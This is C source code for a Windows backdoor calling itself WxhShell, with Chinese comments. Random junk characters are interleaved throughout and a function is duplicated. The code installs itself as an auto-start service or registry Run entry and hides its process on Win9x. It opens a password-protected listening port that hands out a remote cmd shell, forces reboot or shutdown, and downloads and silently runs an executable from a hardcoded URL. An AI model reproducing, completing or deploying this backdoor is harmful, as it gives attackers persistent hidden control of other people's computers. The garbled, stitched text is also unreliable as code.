`3[ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); '}_r/l]K g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nQc#AFg
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p)IL(_X) I$7eiW @ if (!NtQueryInformationProcess) return 0; G>V6{g2Q lxhb)]c
^> hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SB\%"nnV if(!hProcess) return 0; ~29p|X< D!&(#Vl
_ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ! K>iSF< 3 ~v
1 7 CloseHandle(hProcess); yn62NyK "313eeIt%i hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |H5.2P&9-5 if(hProcess==NULL) return 0; Z4] n<~o !__0Vk[s HMODULE hMod; @[n#-!i char procName[255]; #V!a<w4_ unsigned long cbNeeded; bx3Q$|M? IP62|~Ap if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t7+A!7b{ (GSP3KKo*G CloseHandle(hProcess); $m 4-^= 0*$w(* if(strstr(procName,"services")) return 1; // 以服务启动 n<ZPWlJ ;m(iKwDt return 0; // 注册表启动 >d/H4;8 } S0,\{j YFO{i-*q // 主模块 g$nS6w|5H int StartWxhshell(LPSTR lpCmdLine) bNea5u## { >@YefNX6 SOCKET wsl; qLN\%}69/ BOOL val=TRUE; &|hK79D int port=0; Wc3z7xK1@ struct sockaddr_in door; HK@ij,px Ke$_l]} if(wscfg.ws_autoins) Install(); WgtLKRZ\ [?!I*=*b port=atoi(lpCmdLine); '0+* 0t <nH%N}^ if(port<=0) port=wscfg.ws_port; $83B10OQ&L '/W$9jm WSADATA data; b^1QyX^?: if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eVXXn)> F-yY(b]$ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ^#/FkEt7bp setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I.<c{4K5 door.sin_family = AF_INET; 2{OR#v~ door.sin_addr.s_addr = inet_addr("127.0.0.1"); P6:C/B door.sin_port = htons(port); /).{h'^Hq\ R?{+&r.X if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y~SVD@ closesocket(wsl); t[^$F, return 1; %By Pwu:f } lPTx] =G }Z!D?( if(listen(wsl,2) == INVALID_SOCKET) { '%Ng lC[J closesocket(wsl); \(o"/* return 1; X\|! } xUo6~9s7 Wxhshell(wsl); gAqK)@8- WSACleanup(); mB?x_6#d9 aB9!}3@ return 0; xs$$fPAQ qL(Q1O! } p9(y b ccD+AGM.
// 以NT服务方式启动 ?^}30V:E VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) XX6Z|Y5. { xP;r3u
s DWORD status = 0; u;#]eUk9} DWORD specificError = 0xfffffff; i|YS>Pw~j E~'mxx~i serviceStatus.dwServiceType = SERVICE_WIN32; qQ&uU7,# serviceStatus.dwCurrentState = SERVICE_START_PENDING; VtreOJ+ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ' W/M>!X serviceStatus.dwWin32ExitCode = 0; ?6#won serviceStatus.dwServiceSpecificExitCode = 0; :6^7l/p serviceStatus.dwCheckPoint = 0; M>8J_{r^ serviceStatus.dwWaitHint = 0; .n-#A #YUaM<O hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5j%G7.S\ if (hServiceStatusHandle==0) return; C0rf ']]d-~: status = GetLastError(); LF<&gC if (status!=NO_ERROR) VJh8`PVX { U$rMZk serviceStatus.dwCurrentState = SERVICE_STOPPED; 2Xb,
i serviceStatus.dwCheckPoint = 0; k4TWfl^}9 serviceStatus.dwWaitHint = 0; nQ%HtXt; serviceStatus.dwWin32ExitCode = status; 5=dL` serviceStatus.dwServiceSpecificExitCode = specificError; t>"%exdoZ SetServiceStatus(hServiceStatusHandle, &serviceStatus); .8hI
ad return; OMGggg } 8~sP{V% 1v o)]ff serviceStatus.dwCurrentState = SERVICE_RUNNING; M[uWX= serviceStatus.dwCheckPoint = 0; 3>,}N9P-v serviceStatus.dwWaitHint = 0; b}J%4Lx%m if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J
3!~e+wn } D}-.< 'sNZFB# // 处理NT服务事件,比如:启动、停止 u8e_Lqx? VOID WINAPI NTServiceHandler(DWORD fdwControl) _n&Nw7d2
M {
B.z$0=b switch(fdwControl) .
,7bGY 1$ { <hT\xBb: case SERVICE_CONTROL_STOP: "Fz.#U serviceStatus.dwWin32ExitCode = 0; gcLz}84 serviceStatus.dwCurrentState = SERVICE_STOPPED; @Mk`Tl serviceStatus.dwCheckPoint = 0; Cs $5Of( serviceStatus.dwWaitHint = 0; 'CLZ7pV { EM,C SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vej$|nF } W,q @ww u return; pwUXM?$R case SERVICE_CONTROL_PAUSE: c]=2>ov)hR serviceStatus.dwCurrentState = SERVICE_PAUSED;
">A<%5F2 break; 5&Oc`5QD case SERVICE_CONTROL_CONTINUE: 18g_v"6o serviceStatus.dwCurrentState = SERVICE_RUNNING; :_{8amO break; UD I{4+z case SERVICE_CONTROL_INTERROGATE: Bx\&7|,x break; _Hb;)9y }; :1v,QEb\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); Iq$| ?MH
} )U^=`* 7 m 2H4V+M+ // 标准应用程序主函数 JJ.8V72;!Z int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3f;=#|l { <,d550GSm 37AVk`a // 获取操作系统版本 5>532X(0 OsIsNt=GetOsVer(); j;x()iZ< GetModuleFileName(NULL,ExeFile,MAX_PATH); ez4!5&TzRm L"_XWno // 从命令行安装 J0G@]H if(strpbrk(lpCmdLine,"iI")) Install(); "> uN={Iy Aoa8Q
E
// 下载执行文件 H`EhsYYK if(wscfg.ws_downexe) { $-4](br| if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gesbt WinExec(wscfg.ws_filenam,SW_HIDE); :Mx } _0/unJl` Dc9uq5l if(!OsIsNt) { cx}Yu8 // 如果时win9x,隐藏进程并且设置为注册表启动 [g}Cve#i HideProc(); _0H oJ StartWxhshell(lpCmdLine); UBvp32p } i,Ct AbMx else uo F.f$%" if(StartFromService()) ^$c#L1
C // 以服务方式启动 |OQ]F StartServiceCtrlDispatcher(DispatchTable); 8f@}- else =bKDD<( // 普通方式启动 Y$'j9bUJ StartWxhshell(lpCmdLine); CEy\1D f@*69a8 return 0; ;p`1Y<d-O } 24sMX7Q,i 5Rqdo\vE /Vlc8G "~KDm(D =========================================== PN*
.9;5Z )ycI.[C -H|
982= .qBc;u tr<~:&H4T wmVmGa
R " Pk?$\ U S^% $Z: #include <stdio.h> *yq65yZi5 #include <string.h> {q>%Sr]9 #include <windows.h> 1\hLwG6Jj #include <winsock2.h> 0Tj,TF #include <winsvc.h> .jrNi=BP* #include <urlmon.h> .#EU@Hc \S}/2]* 1 #pragma comment (lib, "Ws2_32.lib") zAgX{$/Fg #pragma comment (lib, "urlmon.lib") Z0gtliJ@ ;QI9 OcE@/ #define MAX_USER 100 // 最大客户端连接数 lu=a e<M #define BUF_SOCK 200 // sock buffer wMa8HeBE\ #define KEY_BUFF 255 // 输入 buffer %ms%0% U-|]A\`)I #define REBOOT 0 // 重启 ly0R'4j \ #define SHUTDOWN 1 // 关机 g_>&R58
]jT}]9Q$ #define DEF_PORT 5000 // 监听端口 E'iE#He F:j@ JMpQ #define REG_LEN 16 // 注册表键长度 >?g@Nt8 #define SVC_LEN 80 // NT服务名长度 HoI6(t WfPb7T // 从dll定义API 'g#%> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I~,.@{4 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *-VRkS-G typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y
oW~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); x&B&lFmo8 EJ:O 1 // wxhshell配置信息 QM,#:m1o struct WSCFG { 7QO/; zL int ws_port; // 监听端口 :saP
:& char ws_passstr[REG_LEN]; // 口令 DrRK Sc(u9 int ws_autoins; // 安装标记, 1=yes 0=no fA=Z):w char ws_regname[REG_LEN]; // 注册表键名 7q0_lEh char ws_svcname[REG_LEN]; // 服务名 m*^)# char ws_svcdisp[SVC_LEN]; // 服务显示名 zt.kNb char ws_svcdesc[SVC_LEN]; // 服务描述信息 OqtGKda char ws_passmsg[SVC_LEN]; // 密码输入提示信息 reu[rZ& int ws_downexe; // 下载执行标记, 1=yes 0=no %;`Kd}CO char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j~v`q5X char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @SX%q&- Ak[X`e T }; {FIzoR" )uqzu%T // default Wxhshell configuration
rPH7
]] struct WSCFG wscfg={DEF_PORT, i>M%)HN "xuhuanlingzhe", %QP[/5vQ 1, ?Y"%BS+pt "Wxhshell", 161P%sGx2 "Wxhshell", ,Ckcc "WxhShell Service", !Asncc G "Wrsky Windows CmdShell Service", #GM^ :rF "Please Input Your Password: ", D
e&,^"% 1, 5lsslE+:J "http://www.wrsky.com/wxhshell.exe", 2A_1 E\ "Wxhshell.exe" G
;j1zs }; $6Ma{r C| \'|n.1Fr // 消息定义模块 .W]k8N E char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /@:X0}L char *msg_ws_prompt="\n\r? for help\n\r#>"; B=A!hXNa char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?Q:SVxzUd char *msg_ws_ext="\n\rExit."; I`_2Q:r char *msg_ws_end="\n\rQuit."; j!+jLm!l char *msg_ws_boot="\n\rReboot..."; Jg#0g
eU char *msg_ws_poff="\n\rShutdown..."; #j2kT char *msg_ws_down="\n\rSave to "; ~ QRjl |[],z 8 char *msg_ws_err="\n\rErr!"; h@RpS8!Bi char *msg_ws_ok="\n\rOK!"; $J1`.Q>)4 @a9.s char ExeFile[MAX_PATH]; aRTy=~ int nUser = 0; =g+}4P HANDLE handles[MAX_USER]; eT
b!xb int OsIsNt; "B'c;0@q U["0B8 SERVICE_STATUS serviceStatus; U7WYS8 SERVICE_STATUS_HANDLE hServiceStatusHandle; |d0ZB_ci [8T{=+k // 函数声明 `r$7Cc$C int Install(void); HOx4FXPs int Uninstall(void); l"ms:v int DownloadFile(char *sURL, SOCKET wsh); 97liSd int Boot(int flag); 36.,:!%p void HideProc(void); m>=DJ{KQ int GetOsVer(void); 1L,L/sOwB& int Wxhshell(SOCKET wsl); Vn5T Jw void TalkWithClient(void *cs); !E$$FvL int CmdShell(SOCKET sock); L{1sYR%s\ int StartFromService(void); Kk^*#vR int StartWxhshell(LPSTR lpCmdLine); 3sr_V~cZ9 <0d2{RQ; VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0+SDFh VOID WINAPI NTServiceHandler( DWORD fdwControl ); <WP@q&^k\ JuO47}i] 5 // 数据结构和表定义 SIp)& SERVICE_TABLE_ENTRY DispatchTable[] = "3^tVX%$\[ { 6f +aGz {wscfg.ws_svcname, NTServiceMain}, r
w!jmvHE& {NULL, NULL} hDxq9EF };
GK/Po51 rZ?:$],U! // 自我安装 811>dVq3/ int Install(void) 6*i** { UDEGQ^)Xz| char svExeFile[MAX_PATH]; EHUx~Q
HKEY key; )JzY%a SP strcpy(svExeFile,ExeFile); m(8Tup| BwT[SI<Sg // 如果是win9x系统,修改注册表设为自启动 nJe}U# if(!OsIsNt) { l@);U%\pS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <UGaIb
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )R7Sh51P RegCloseKey(key); 9rEBq& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D|q~n)TW5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \:;MFG' RegCloseKey(key); {<yapBMw return 0; (fpz",[ } 0j@mzd2 } uo`R } cK'g2S else { *s4|'KS2o -+ByK#<% // 如果是NT以上系统,安装为系统服务 z>PVv)X SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *
BM|luYL if (schSCManager!=0) F;Q,cg M { m[}P SC_HANDLE schService = CreateService :{a< ~n` ( qA[lL( schSCManager, ZeV@ X wscfg.ws_svcname, `Na()r$T wscfg.ws_svcdisp, # `=Zc7gf SERVICE_ALL_ACCESS, dgP eH8_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R&cTMd SERVICE_AUTO_START, %"`p&aE: SERVICE_ERROR_NORMAL, [-\ Y?3 svExeFile, 7wj2-BWa NULL, dWn6-es NULL, 5&8E{YXr NULL, J2qsZ NULL, O?OAXPK2 NULL &m3-][!n ); 9\ "\7S/Z if (schService!=0) h@`Rk { O=A R`r# u CloseServiceHandle(schService); g}%ODa !H CloseServiceHandle(schSCManager); ;7\Fx8"s[ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p-$C*0{ strcat(svExeFile,wscfg.ws_svcname); z)T-<zWO; if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qy|bOl RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F>\,`wP RegCloseKey(key); e_b,{l# return 0; Ii+3yE@c } $U[d#:] } 1>e30Ri,g CloseServiceHandle(schSCManager); 0~U0s3 } o(ow{S@=4 } s*GZOz \kQ)fk]^ return 1; ]~;*9`: } LtB5;ByeQ0 ?d%)R*3IX // 自我卸载 pwN2Nzski int Uninstall(void) Yh95W { 'bx}[
HKEY key; <PSz`)SN Lc~m`=B if(!OsIsNt) { x/<ow4C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mW{;$@PLF" RegDeleteValue(key,wscfg.ws_regname); N[
=I RegCloseKey(key); JA4Zg*7I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k^oSG1F RegDeleteValue(key,wscfg.ws_regname); .OJGo<#$f RegCloseKey(key); z<eu=OD4t return 0; \udB4O } P8c_GEna } QjLU@?& } l-w4E"n3 else { 3}}/,pGSc eY3:Nl^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L<V20d9 if (schSCManager!=0) b=Nsz$[ { !5d n7Wuj SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oVw4M2!"K if (schService!=0) %ZoJu { n@`3O'S if(DeleteService(schService)!=0) { w}1IP- CloseServiceHandle(schService); `)a|Q CloseServiceHandle(schSCManager); 4&NB xe return 0; TzC(YWt } ,P<I<QYu CloseServiceHandle(schService); 9,fV } c&T5C,] CloseServiceHandle(schSCManager); DAq
H } ai;!Q%B#Q } ]MYbx)v) ;d<XcpK} return 1; TU?n;h#TZ } k
Fl*Im %# uw8V // 从指定url下载文件 Wqv7 int DownloadFile(char *sURL, SOCKET wsh) t'F$/mx. { >IQ&*Bb HRESULT hr; #xmiUN,| char seps[]= "/"; ^(&2 char *token; ^RnQX#+ char *file; Y<;C>Rs
char myURL[MAX_PATH]; >> cW0I/` char myFILE[MAX_PATH]; ?4SYroXUX| q[/g3D\G
strcpy(myURL,sURL); _dd_Z40R token=strtok(myURL,seps); KdR\a&[MA while(token!=NULL) O#igH { 26~rEOgJ file=token; ;s3@(OnjZ token=strtok(NULL,seps); Rb<|
<D+ } qF3S\
C gS(JgN GetCurrentDirectory(MAX_PATH,myFILE); _$*-?*V& strcat(myFILE, "\\"); 'tTlBf7# strcat(myFILE, file); Db2#QQ send(wsh,myFILE,strlen(myFILE),0); ?Ho$fGz send(wsh,"...",3,0); fXevr ` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h`fZ8|yw if(hr==S_OK) 2^s@n3t return 0; qb nlD\ else 2;]tIt d1 return 1; lJa-O _`Kh8G
{e } ~b8.]Z^ bY`Chb. // 系统电源模块 |\B\IPs{%' int Boot(int flag) L\Oxyi<{ { akw:3+` HANDLE hToken; \yymp70w TOKEN_PRIVILEGES tkp; %|@?)[; R(Vd[EGY if(OsIsNt) { !5+9~/; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PvUY
Q>Kw LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Bptt" tkp.PrivilegeCount = 1; Ypm*or tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b<fN,U<k AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ct/6< if(flag==REBOOT) { yMNOjs'c { if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j+<!4 0# return 0; 1slt[&4N } Y\!:/h]E& else { "~C\Z} ; if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gKU*@`6G return 0; g 'L$m| } ^(xVjsHp# } 7.5\LTM>9e else { 17Q*
<iCs if(flag==REBOOT) { j@Us7Q)A( if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nkk GJV! return 0; suj}A } jaThS!>v else { t[%=[pJHW if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QL(}k)dB return 0; Y!E|X 3 } 1?+)T%" } 0@f7`D ,Ur~DXY return 1; {iq{<;)U?U } HSl$ U0 ]*S_fme // win9x进程隐藏模块 uuhvd h= void HideProc(void) 8DrKq]& { (aCl*vV1 J! eVw\6 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nfvs"B; if ( hKernel != NULL ) I^A01\p { ;rta#pRn pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A%M&{S'+|X ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4d'tK^X FreeLibrary(hKernel); Q;$/&Y* } ZoC?9=k ;Wr,VU] return; Vo2frWF$ } r3 {o_w w_J`29uc // 获取操作系统版本 >BQF< int GetOsVer(void) 4sK|l|W { [dL?N OSVERSIONINFO winfo; 1[`l`Truz winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Tf[-8H< GetVersionEx(&winfo); M/sqOhg if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) El&pux2 return 1; A[':O*iB else !"J* return 0; tbv6-)Hs } /C8(cVNZ W%Zyt:H` // 客户端句柄模块 Zk;;~ESOU int Wxhshell(SOCKET wsl) kk5i{.?[ { XKU=VOY SOCKET wsh; lR^dT4 struct sockaddr_in client; TbU9
<mY DWORD myID; Ez1*} <u($!ATb while(nUser<MAX_USER) 9'8oOBqm3% { f&cG;Y
int nSize=sizeof(client); 3yD5u wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |-aj$u%~ if(wsh==INVALID_SOCKET) return 1; 1aMBCh<}JN |QgXSe7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;%z0iZmg if(handles[nUser]==0) 0Rk'sEX, closesocket(wsh); !`#9#T| else Q}.y"|^ nUser++; |)JoxqR } _&![s] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zB]T5] ;<X3AhF return 0; '}YXpB } K
:q-[\G u#UeJuO // 关闭 socket et ~gO!1:* void CloseIt(SOCKET wsh) ta 6WZu { ;qk~> closesocket(wsh); yRi/YR# nUser--; # nYGKZ ExitThread(0); YV940A-n } K+$c,1wb {4m"S7O // 客户端请求句柄 a&ByV!%%+_ void TalkWithClient(void *cs) 2nieI*[ { fY"28# EhUy7b,1_ SOCKET wsh=(SOCKET)cs; RK3/!C`
char pwd[SVC_LEN]; X5/{Mx`8Oz char cmd[KEY_BUFF]; coFg69\^ char chr[1]; |8`;55G int i,j; TgB;R5 PrKlwhi# while (nUser < MAX_USER) { /#se>4] /[IQ:':^ if(wscfg.ws_passstr) { l{a&Zy) if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5)oIPHXw //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KE3
/<0Z //ZeroMemory(pwd,KEY_BUFF); yl 8v&e{ i=0; {n{}Y. while(i<SVC_LEN) { @YB\PVhW Mqtp}<*@- // 设置超时 enz Q}^ fd_set FdRead; l9ihW^ struct timeval TimeOut; @ty|HXW FD_ZERO(&FdRead); Z=c@Gd FD_SET(wsh,&FdRead); >C}RZdO~ TimeOut.tv_sec=8; r=Q5=(hn TimeOut.tv_usec=0; _Usg`ax- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
*&0Hz{| if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9|WWA%p ` ;=Se_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #"{8Z&Z pwd=chr[0]; oX4uRc7wR if(chr[0]==0xd || chr[0]==0xa) { GKtQ>39B pwd=0; 5#o,]tP break; (*x"6)` } k0IU~y% i++; `~]ReJ!X% } fx-*') oCYD@S>h // 如果是非法用户,关闭 socket /nP=E if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6;pREM+ } v+sbRuo8 r*wKYb send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F]*-i 55S send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7&)F;;H k9xKaJ%1 while(1) { cj<@~[uw gAY2|/, ZeroMemory(cmd,KEY_BUFF); KxwLKaImI n_Y]iAoc` // 自动支持客户端 telnet标准 (Qm;]?/ j=0; UG_0Y8$ while(j<KEY_BUFF) { k >CtWV5B if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sD3|Qj; cmd[j]=chr[0]; xH[yIfHkG@ if(chr[0]==0xa || chr[0]==0xd) { e"6i>w! cmd[j]=0; 3T/j5m}+! break; $\!;*SSj } ?63JQ.; j++; uP]o39b;V } ] O>7x A%2}?Ds // 下载文件 |pR$' HO if(strstr(cmd,"http://")) { ~Wm}M send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5,ahKB8 if(DownloadFile(cmd,wsh)) l7!)#^`2_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6{X>9hD else .A/H+.H; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^b %8_?2m } V^+:U>$w else { 'e64%t ~(/HgFLLu switch(cmd[0]) { Ds_
"m, Z|%2495\ // 帮助 Y`?X Fy: case '?': { [Mc5N send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]!aa#?Fc break; QJM!Wx+ } 5qSZ>DZ // 安装 9nS! case 'i': { %:?QE
; if(Install()) xN8JrZE& send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jk`)`94I else ok2~B._+; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2] G$6H break; m@u`$rOh } E_1I|$ // 卸载 A]%t0>EL< case 'r': { arKmc@"X if(Uninstall()) "|*Kf# send(wsh,msg_ws_err,strlen(msg_ws_err),0); jsd]7C else p30&JJ!~" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lkg*AAR?' break; Z[S+L"0 } hyfnIb@~} // 显示 wxhshell 所在路径
r;X0B case 'p': { 8{]Gh 0+ char svExeFile[MAX_PATH]; *;E+9^:V strcpy(svExeFile,"\n\r"); r Ob"S* strcat(svExeFile,ExeFile); :yjK*"T|OD send(wsh,svExeFile,strlen(svExeFile),0); ZCFf@2&z8 break; eSNSnh]' } xcvr D // 重启 '#PqI)P case 'b': { wKS-O%? send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gam#6
s if(Boot(REBOOT)) %`1CE\f send(wsh,msg_ws_err,strlen(msg_ws_err),0); -Dxhq&
}Y else { ]~S+nlyd< closesocket(wsh); tlLn ExitThread(0); )z235}P
} {a8^6dm*E break; ]j2v"n } Pph8"`mv.m // 关机 i6#]$ B case 'd': { TT ZxkK send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7Ljj#!`lUp if(Boot(SHUTDOWN)) =/JF-#n/MA send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6y,P4O*q else { _s^:zPl closesocket(wsh);
L|lmStwe ExitThread(0); qJXsf M6 } J7wQ=!g break; Dnm.!L8 } :@%-f:iDj // 获取shell L@n6N|[_ case 's': { @U3foL2\ CmdShell(wsh); Oqpl2Y"/ closesocket(wsh); H4'DL'83 ExitThread(0); ''OInfd? break; wYO"znd } b}Hl$V(uD // 退出 1m<?Q&|m$ case 'x': { !H|82:`t+ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ryba[Fz4Di CloseIt(wsh); 3E!<p break; "R2t&X[9 } DxKfWb5 R // 离开 w-H%B`/ case 'q': { LX\*4[0%K send(wsh,msg_ws_end,strlen(msg_ws_end),0); xJ2O4ob closesocket(wsh); ,)rZAI WSACleanup(); ezr\T exit(1); 5u|=;Hz*) break; u@Cf*VPK } 2@R8P~^W } fQW_YQsb } IFrb}yH GtM(
Y // 提示信息 7}'A)C>J; if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o d}EM_ } vf'cx:m } OVUs]uK Xm8Z+}i return; I51oG:6fR? } @bW[J v-;XyVx // shell模块句柄 \%Ah^U)gS int CmdShell(SOCKET sock) =qp}p'BYe { lQdnL.w$.4 STARTUPINFO si; 6/mkJj+" ZeroMemory(&si,sizeof(si)); |ON&._`LH si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -4?xwz9o$7 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G=C5T( PROCESS_INFORMATION ProcessInfo; ^0Q=#p char cmdline[]="cmd"; Q\27\2 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C^/ -lc return 0; lbB.*oQ } Rct"\{V')n T1(j l) // 自身启动模式 &8]#RQy{f int StartFromService(void) UEEBWz H { S~k 0@ typedef struct h
eE'S/ { vr{'FMc DWORD ExitStatus; nxyjL)!)0 DWORD PebBaseAddress; >lraYMc<rZ DWORD AffinityMask; BEXQTM3])I DWORD BasePriority; 5@ bc(H ULONG UniqueProcessId; vXyuEEe ULONG InheritedFromUniqueProcessId; \6SMn6a4 } PROCESS_BASIC_INFORMATION; 9u?)vR[@e =de<WoKnu2 PROCNTQSIP NtQueryInformationProcess; %XJQ0CE<( c$Xe.:QY static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1
[Sv static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r"{Is?yKe 5c:'> HANDLE hProcess; zBk_-'z PROCESS_BASIC_INFORMATION pbi; jDlA<1 GA|/7[I} HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m<FF$pTT if(NULL == hInst ) return 0; y#S1c)vU ]urK$ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); klgv{_b g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8To7c NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l^k+E-w\ ?SC3Vzr if (!NtQueryInformationProcess) return 0; |}_gA YF}9k hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B/jrYT$;m if(!hProcess) return 0;
<1aa~duT "_ LkZBW. if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9;=q=O/
L~*u4 CloseHandle(hProcess); 'sj9[o@] |]^l^e6m hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \).Nag + if(hProcess==NULL) return 0; fC_zX}3 ^~^mR#<P$ HMODULE hMod; Q"A_bdg5 char procName[255]; 1|W2s\ unsigned long cbNeeded; wi>DZkR avlqDi1l if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V
